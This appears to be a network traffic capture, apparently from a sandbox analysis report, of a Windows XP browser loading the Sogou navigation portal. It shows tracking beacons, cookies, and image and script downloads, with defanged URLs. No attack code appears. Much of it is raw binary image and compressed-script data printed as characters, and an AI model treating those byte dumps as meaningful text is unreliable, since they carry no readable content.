P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

....

GET /pv.gif?uigs_productid=daohang&rdk=1399956570493&img=pv.gif&pars=?rand=1399956570493&suid=null&sduv=1399956570462_5852_00001&ckid=6846_00001_00000_3030_00000_00000&m=null&apid=null&sgtp=null&refer=&page=&pageUrl=http%3A%2F%2F123.sogou.com%2F%3F22014&loc=null&hp=-1&pid=Af22014&ptype=index&pcode=index&yyid=null&skin=null&ver=v53_ie6_cr__4&sys=100&ser=null&sev=null&time=3531 HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pb.sogou.com

Connection: Keep-Alive

Cookie: GOTO=Af22014

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:26 GMT

Content-Type: text/xml

Content-Length: 0

Connection: keep-alive

Set-Cookie: SUV=0066339EC18AF4E75371A4567C72F260; expires=Fri, 10-May-24 04:49:26 GMT; domain=.sogou.com; path=/

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

HTTP/1.1 200 OK..Server: nginx..Date: Tue, 13 May 2014 04:49:26 GMT..Content-Type: text/xml..Content-Length: 0..Connection: keep-alive..Set-Cookie: SUV=0066339EC18AF4E75371A4567C72F260; expires=Fri, 10-May-24 04:49:26 GMT; domain=.sogou.com; path=/..P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"......

GET /pv.gif?uigs_productid=ufo&ufoid=daohang&ptype=indexv53&pcode=index&rdk=1399956575900&refer=&page=搜狗网址导航－－网址大全,实用网址,尽在123.sogou.com&pageUrl=http://123.sogou.com/?22014&img=pv.gif&vcode=v53 HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pb.sogou.com

Connection: Keep-Alive

Cookie: GOTO=Af22014; SUV=00DD04B9C18AF4E75371A458B1D10495

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 13 May 2014 04:49:30 GMT

Content-Type: text/xml

Content-Length: 0

Connection: keep-alive

HTTP/1.1 200 OK..Server: nginx..Date: Tue, 13 May 2014 04:49:30 GMT..Content-Type: text/xml..Content-Length: 0..Connection: keep-alive..

GET /imgu/2014/05/20140507144656_823.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p9.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:32 GMT

Content-Type: image/jpeg

Content-Length: 5785

Last-Modified: Wed, 07 May 2014 06:46:56 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:32 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

......JFIF.............0Exif..II*.......1...............VVV.meitu.com....C....................................................................C.......................................................................=._...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....n.aw..W.....8m...K..`.v.w..!.....g..p...fu.I@.>-....l..T....N..8..X8...ji~%.......... U.`........F...{_........~2.c....U...V7.:..6o....?.....*xy3..IU.B>g......?...o..l.LQ...<.".Lo"KS,..-...QT..d..W.R.1..T....U.r.E..........S..K_...u~..?........m..KTP1sf....y..N.s....._QE..j.5....qU.h{......|#..}.... ....8...u..]F;..b.XQ...h..M9.........................j...M.4RL..{.Y.u.O<WR.i9sJ-G......~X......W.-..g..o...X...q.V..Gc._O.IJ......qj.OMD.....%....F....T..... ;.xB......L.4g.b.r.K..... ..#...X..6. .W...*.GE.s.0.f..b.&..F.e.A........y..4.GZ.....R..<Q.O.H..?.4.R...2.....U..rB.*.fb#Bs..p...8...........{Y.QS7..j......K..o^.......D...%.......`....N..@....6.L..F9.*X.V......'0.C.Y........n.C....%.........b.SN,t..]>..}.^..<...?.|....(....}'..P..&......_......^.V....'....4..J..6..q.B.{....<.&...}6a...^.............q|/..<m.?....[.......

<<

<<< skipped >>>

GET /imgn/v32/skin3.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: image/gif

Content-Length: 4159

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:25 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a..h..........R..J..Bs.S................r.....qq}a.......................n..~..|..m..l..l..x..k..v..t..i..s.xa..n..l..k.ua..i..h..i.~f.r`....wd.xd....rb....pa.nb.rf.vm.xp.xp}OJ..........l`.mb.pe.od.oe.wl.xn.qg.~t.sj.sj.tk..|..}....SM.vn............wMIuLH.|v.}wmJG.......~yeHE..|..................................................................H??.................................................................................................................................................................................................................................|||{{{zzzyyyxxxtttsssrrrpppmmmlllkkkjjj<<<..................................................................................................................................................................!.......,......h........H......*\.......H.H.....3j.....I.BJ......(S.\.....0].IdI.$K...T...O.....JTh.dH.*EZ..O....%j....J.@1.....{.@.9.R.=;..].VA.8p..ms....x.5m../..;8.......u.........#[...N!F.......g....&L.`2....T.....;vd.L8L./..g.......)..s.....]..=P......F}W.@..)....v\4=bs..}w...J|._.>.r...?..].t.......B..)T.].n....g....B.&....'!d....2.=W.2.Q..2.Y`...x....\(..I.....1.....`...L...s|...@R.......|p...].2.Bl L...#8...l<.[.e..C.o.W..6.&..2.....E....U....).ZS!....".p....%F.;....G...QZ....5.@..L.........s...^..........H..D....C.....Bu.bj ......b..d.......l.k...0F......8|Z...R.k.........A.sf...u6...wN[m.;9..TS.u.VJ5..O..k.i.......$...............p..G,....j...g....w... ..q...l..(..r.$_.qM .4.'1..J.6..r.pb<J*..<.-.............I.<

<<

<<< skipped >>>

GET /imgu/2014/05/20140512112800_851.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p0.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:32 GMT

Content-Type: image/jpeg

Content-Length: 18313

Last-Modified: Mon, 12 May 2014 03:28:00 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:32 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.....0Exif..MM.*.......1..............VVV.meitu.com....C....................................................................C.......................................................................k._...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......8.:.da....0N......<.3.F....J;.E~.;.u...1.._?.....s.c%..d....4k.H...T2.Y.>TG..d....q..<.W. ..5h.h.h......o...i.[......v..k..>........:...]i...um.....G..R........P.k.iZ......y.......\.n..sZ....Ws..F.X.q.p...w..]g;.....(...]..W...\-H.....c..........Z...*5..R. S.:......M........4K]?V.....].Y.x.V..x"....Vw..k...N.%.../6E..rd.i'._..e..........^..~..-.d.. .,!..b.]Y..u.G2...P.:8OiR8.=J..*.W6..s.:q.Q.J._g.Rw.b.c....'.z.}.g..........~..g...G.....[....=.v..6...$:..oq.xYt....M..........i.Z..-.m_.q...........F..R.[.S..Z.%e..QB.o...*IE)9..x.......j..p..*4*EFMS..R..(.{:...q.p..(.1..C._.......<3.GJ..!.?.....K.l....^>'..4..L...R=i.....v.m..h....N..]..&.o.....NN......Q...Q.8F..T..j8.J>..]')..R^..b.<d=.'..Z1...qT........j........R.j. .'...[......!.6~..?.>.k?o.....>(.aZ.h...u=KA.Dy..ck.j.....V:......Y.....K5.........4.H..%/f..7z5.%...$....a<\...l....

<<

<<< skipped >>>

GET /imgn/v32/setskinbg.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p3.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:26 GMT

Content-Type: image/gif

Content-Length: 397

Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:26 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

GIF89a.......................................................................................................!.......,............%.di.Y..l.bp,.tl.x..x.....G)....q.l:...dJ.Z...v..z...xL.....z.n....|N.....~............................\...........................................................................................................H......:X......#Jd......3j...".. C..I....(G.FX.....,C..;HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:49:26 GMT..Content-Type: image/gif..Content-Length: 397..Last-Modified: Wed, 20 Jun 2012 04:23:24 GMT..Connection: keep-alive..Expires: Thu, 12 Jun 2014 04:49:26 GMT..Cache-Control: max-age=2592000..Accept-Ranges: bytes..GIF89a.......................................................................................................!.......,............%.di.Y..l.bp,.tl.x..x.....G)....q.l:...dJ.Z...v..z...xL.....z.n....|N.....~............................\...........................................................................................................H......:X......#Jd......3j...".. C..I....(G.FX.....,C..;....

GET /imgn/sehome/tjv1/new-ico.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p3.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:32 GMT

Content-Type: image/png

Content-Length: 211

Last-Modified: Mon, 28 Jan 2013 11:52:04 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:32 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR.............&P......sBIT.....O.....PLTE...???.Mv.....tRNS..[.".....pHYs.........B.4.....tEXtCreation Time.12/28/12...5....tEXtSoftware.Adobe FireworksO..N....IDAT..c` .H..!...2.1_.......IEND.B`.....

GET /imgn/v51/i-ico-2b.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p3.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:32 GMT

Content-Type: image/png

Content-Length: 2337

Last-Modified: Thu, 30 May 2013 07:28:54 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:32 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR..._...X......I M....sBIT....|.d.....pHYs.........B.4.....tEXtSoftware.Adobe FireworksO..N....tEXtCreation Time.12/28/12...5...}IDATx...{l[...?..y4MH.'$kIXJIE.H.^K.2...d06p.44.m.4..tb....m...ib..aM.....Tk......#{....P......m.&n..}}...ul...~..J.G..{..]..=?...>...HlA.......F..6"...K....^lG.#.#_6@..)...(.9.|...#g..E9...,Gr._._\,././>.rm.6.$.F..6"...)..H.m..........,G2.5[...w...0.. .UX..pi.....O...;%.sI.V..?~.}.e.#3.Q}..B..W.L..I}..}....4.4..{..k73....5"_.A.h(..PH..<J..O(.vv.a*.c.n..5.H.5.. ..U.m5.e8.....r....._.....A.5.._.s...eJHc.c.%uv..@|..^!....0.XC.|:\Y2G."..............F..&.-._......T.qel.4...~r...o......$..gI. ..=.K*S/...v.\./......o...~..jv...n)|.d=.R......:.....(.3=...C)|..g.lD.j..........y......-..p...,.C_....Y......P.....;...:p...@{.~..u...[3Up..M........&...V.Y:..N..`66.......,.....J.....'R......6.........)....c..K.../..........)..s[.r.h...)N.U .......F9=.d..*>...l.q.}....A....0....../V......3.wy|..........q:.....s.w.'.r. .C..wh|...K...g...e...3.H...].<......].Iu.....x...f..{......7"......;...........k...`=..D.:.7.fu.....T......`r:...Yy.... .1....a^...o......A.cJL......}.4c...oIT.9...!........k.....U....a&....H..]D....@..........63...$.....R'.}.#._N)....8.|..L..<pON9....F.....j*....`|j.....y].........h..p'..y...O.....$.X........~......S....:.yF~"o.7.$x"......2..Ss~.t....B.......l.&.[....s$..4.#....W.....ho^..........T.c.K ....&./"..)../.}...h..!^ "u.r..j....G....E./Mg...$..LF; .>_.......9.~DZ1..<.<gb.......6...e..3..TA....-.F.>..==.....o.p......J.<..nG.%.

<<

<<< skipped >>>

GET /imgu/2013/05/20130531144119_126.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p2.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/png

Content-Length: 13613

Last-Modified: Fri, 31 May 2013 06:41:19 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:23 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

.PNG........IHDR.......2.............pHYs................MiCCPPhotoshop ICC profile..x..SwX...>..e.VB....l.."#....Y....a...@....V....HU....H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0..>.3.o..~..@...z..q.@......qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N....l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A..............a.D@.$.<.B........A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R...J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6..l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V

<<

<<< skipped >>>

GET /imgu/2014/05/20140507144124_693.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p2.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:32 GMT

Content-Type: image/jpeg

Content-Length: 5054

Last-Modified: Wed, 07 May 2014 06:41:24 GMT

Connection: keep-alive

Expires: Thu, 12 Jun 2014 04:49:32 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes

......JFIF.....`.`.....0Exif..II*.......1...............VVV.meitu.com....C....................................................................C.......................................................................=._...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...h..O>..y0...Dq...(....z..QWl..9Y......g.Ry...Z..k...ib.......6....?......1/.2...#x.....~...........k ........u![.w.2.......`.....5.........q..|e...<....g.4....R[m.W....V.Gp`..F.~lg.R.J.eI.'....%..H.M7..{t...D.......q%.[..u%\..I......e..a.....yP...]H...F..6.L..6......{...)G@.9sY...F.].>....%............OS..`.p..y.%.iO.Z.NJQrg.y.....O...2.\..V{{....B..?J.p....4..p...0..........x.\.....#.Wr....Uj.....@.[...8...W..B1.s....u.G._..?....]...).k....6|M._..3.z...U.A.iZM.............1...k.....?...(o..?.....MP|..E..|..I-....>[.....c.$~.< 8...4.j.2..%.~....J....z..3..................W.....~..H#s...L...8A.*.....WC......\..Z...5..f..,.......U...N.\e.Q-..3\$...y8?qB..n0y.1\=.J......kO....n:.T\...g.......0.?i/.E....!.|C>..zF...m..L........z.28...b*V.UwZhz..P.U(..>.._...|F.....|1...e..{-J.f....#.../s...X.....#.&..i..x/...l..#K.......Y.kg.HUWr.T.

<<

<<< skipped >>>

GET /jsn/citydata.js HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogou.com

Connection: Keep-Alive

Cookie: ipt=0; SDUV=1399956570462_5852_00001; CKOR=6846_00001_00000; CKOD=3030_00000_00000; GOTO=Af22014

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:25 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 19 Sep 2012 10:54:17 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip

5c2b............m.Yo[I...W.t..o{......'7............-.[.Z6EJ.G..(R.G....gK...(w..~-.g..._:....U.j..U.V.........._....o....?.........?.s...........s.......wZ......4Y^..K....>..e.n.nv.[@..v..<.o.].S....>.....]d...4..LU]...7S..9...d.z.2........*..U..T..x~.y.&.!.3...x......y....y....%.Y.W........S.s.yv. ,.2.,.M..7..k9=..|....WT..........>g.......7..M>'..F..~_......~_...Q.>.3.Lssk.....M.....b......q5......Bx.6.c0......{........z...T./...-...........2.,<..(..pExy>..U....x..)..In..0.Q8;.P...*.........q.Y.........X..=...Y_9..bl.w?m.16........~....xw.l\....~..L7.{...l.6C..v.`M....n..%..F......O.~......Y....fl...R....O....f..P.........'........ly%...\.L...9..\..a..=.V.....u3...........W.......f.Fm..B:....?.?T..q........m.].LFj....~..Lwq..C......M.Y..6.K......T.....FT..l..P....m....n...}..fl.r.b....5...XQtGT..).h.bG..\ao....tg.m...@w.....ql.2.#..xffA]...v......I)/\...v'....:..........q....Z..)...Z.rK..8.zV.F.....n.....r&;..n.q.......6...H..i=.-.&.5.Msu..,.........b...r..KY9.......J...Q.8.....bl..P...s.<.|...n......5..G.j.....9.k,..R.e.%k...0..L.%....5.E...g.].1.y..G........H........a/..-U.,6k.< .b......U.#.k.....#...<...........z.*.w.........-.z.V.............v.m....%z...m..,......h..6..7...../.h..6....k..:JV.z.R.....0.@.....KA..5Y....#=hH6p..,..........CLo~r.Fl~F_..TT.....P...G..&.~...i.z......M:a....;..r..~3b..... .......}.g.\c...AL..L.l..w..]...9...].=j=........X.2|alV....W........[b..zyc.Z... .......K2...\..X-..........0.D0~50^..*]........l..Y...f{..<$`K8.8Q..........l.....[.(O.}5..

<<

<<< skipped >>>

GET /v53/imgn/v53_bicos.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:23 GMT

Content-Type: image/gif

Content-Length: 826

Last-Modified: Thu, 14 Nov 2013 11:00:56 GMT

Connection: keep-alive

Accept-Ranges: bytes

GIF89aD.......Bo...v..1..;o..........f...W.......;........e...W.d..............@......`..P~%s.......@..G.....O..j......g.r......L{......Z......W.%h.t...d................@..&z..Hv......L...\.Q~..R....6............h..Ky...y..Y..Cp..a...........R.....Z.....Cr.c..........:......o.......$m..f....&}.......................................................................................................!....._.,....D......._..............@'K3@?...0 0...''@...'....0......KK.3$.;=3........'*K??G..CCH8........?'/E.?6.&.LZ..........@3.2.E&&LLN.T@@.. .. .mXR.....7(a. ...4>.[.c@..-..X.)...?.n..e...4P...H...R.H......P........4..dY...'..f..d@.D..D......?F)..!....BX...A......1.^.... u@..,!_9..{.c@0D.....0J....tHr..]A.~..7`....N......!J...pb..AF.L....._O..;....!]..#2...AF.H.. .4#.~D.b%.....,.... .h..p.DP.W.......o..><0.K..{.O.@Q .;t>....

GET /v53/imgn/foot_slider.jpg HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:24 GMT

Content-Type: image/jpeg

Content-Length: 322

Last-Modified: Thu, 14 Nov 2013 11:00:56 GMT

Connection: keep-alive

Accept-Ranges: bytes

......JFIF.....H.H.....C....................................................... ...C................ ........................................................................S.........................................................?......>....('@......... . ..@....HTTP/1.1 200 OK..Server: nginx/1.4.1..Date: Tue, 13 May 2014 04:49:24 GMT..Content-Type: image/jpeg..Content-Length: 322..Last-Modified: Thu, 14 Nov 2013 11:00:56 GMT..Connection: keep-alive..Accept-Ranges: bytes........JFIF.....H.H.....C....................................................... ...C................ ........................................................................S.........................................................?......>....('@......... . ..@........

GET /v53/jsn/main.js?V=16bb90f6b3db269d3b0dadfb85d67a51a HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:28 GMT

Content-Type: application/x-javascript

Last-Modified: Wed, 12 Feb 2014 04:41:53 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip

54c0..............{[.G...w.... Y-!q.....0...${..I^`xuiI.BR....:.......H.;.......?.....Z.n.j....p}=..L.....8.u....h.O....;a7....x..X..D...]z.@..O..@..S..0..i.9...|^....8......X.........!_G......a....\.W....9..P.O..$.'..^..~H7.....Gww.0~./...2.e..,.....*H>.. f_}... Z^..f.U.d....b.....C?..............LJx.....~4 .!...x6.._?,.....<.LC..(......I..&..$m4l...'......a[0.d2i~J.n...I.V..........a.\z....bx1....va...[7a.6....v..aj..!...j-..D<..V?...~T.#....e)tfw.....R.......>.eh [s....(..g.w../g.N../g.{.v.g;.........W{........r......~...{a.#.....V8)....&a..@k....j9.>......y>{.M..]..tkoN.K.n|....z...........]..v..........-z.z..-............`.kj.9;..H.N......~.L .o. O.7.hXd@9X..zv....{vN..N.........m._.....qv...`.A..p<h.....;........ ....6....9..v.u..A9A-o..'...0./...J)&..as..~.....c0....e...y.o.|..?.u.K.\.%.r............^.S.|W..,.....}W.*..].U/}bi..].....%....^......wCv.2f..e....\...8.....aB.....5!l.....}.*...x.lI.. .n... ,....<..5..9^.5h...QZ...FP......Y.CW.@x.N.k........./.....5...>D..5.[.2....j..g.J...|......mY.y.........x..........`.7'..0.iI...t<....z\..,..]....J..h.....R..25......t..K'q#.....N...f...O..a3L.....A..:......b.. .j=....6.....Z'.,....\.\D.....ah%.w....8e.n.....qhh..x.....!4.....(.c......8<5..1..CH......qq.N........e...r~Y.,]V/./.u..Lr...LA.f.....!0.z..X..... ..fd....u&B......qy..3p.".f&<.B|s.....v%^...]......p..........<.s.V.Kb....r<Q|.x..w,.a.Xr....f.147a...J./7.........(5..p4....*o...F..yC.h*}.5.~H.q..`kd.?|<Z9u....z... >...z..y.C]O....<.N!...<M@.@B6.,d.

<<

<<< skipped >>>

GET /v53/imgn/guide_tip.png HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: d.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.4.1

Date: Tue, 13 May 2014 04:49:30 GMT

Content-Type: image/png

Content-Length: 10442

Last-Modified: Thu, 14 Nov 2013 11:00:56 GMT

Connection: keep-alive

Accept-Ranges: bytes

.PNG........IHDR.......J.......D.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c061 64.140949, 2010/12/07-10:57:01 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5.1 Macintosh" xmpMM:InstanceID="xmp.iid:CEC0416D02FB11E388CB8B2E3040A42A" xmpMM:DocumentID="xmp.did:CEC0416E02FB11E388CB8B2E3040A42A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:CEC0416B02FB11E388CB8B2E3040A42A" stRef:documentID="xmp.did:CEC0416C02FB11E388CB8B2E3040A42A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.Z....%<IDATx..].....&.(..."...ky......f...7..........W@%.`..@A.*(...P..;K......E|..;g.....?[....>.<.............i......h-....@_~.. _&.2%...<..........k......w.d./.....U 8..r./=|..9.{.P .IT.r.J.b].|...3|....../7....]1..=?..M]Y.f.....n...7l.:w......Vk?.gkk 8.z..........ps...^p........P-....Z..._.6l.....KWWW.jjj...........Q..P.~.|..Y..O......... .}...GI...3k..#......KS.....n..r.rm..../.....'JUUU..aIT....V......4...]P.......M.....Y..xju6...2...|.o3......?...>X\..V[[......}(//........o.CEM...f.N..Z.....O. ..7hU.qC=p&/........@.|'gA.1.>.$....{@t..P...um..A..8..].v.;..D.b.]..ss.

<<

<<< skipped >>>

GET /imgn/123ie/setting_icon.gif HTTP/1.1

Accept: */*

Referer: hXXp://123.sogou.com/?22014

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: p6.123.sogoucdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

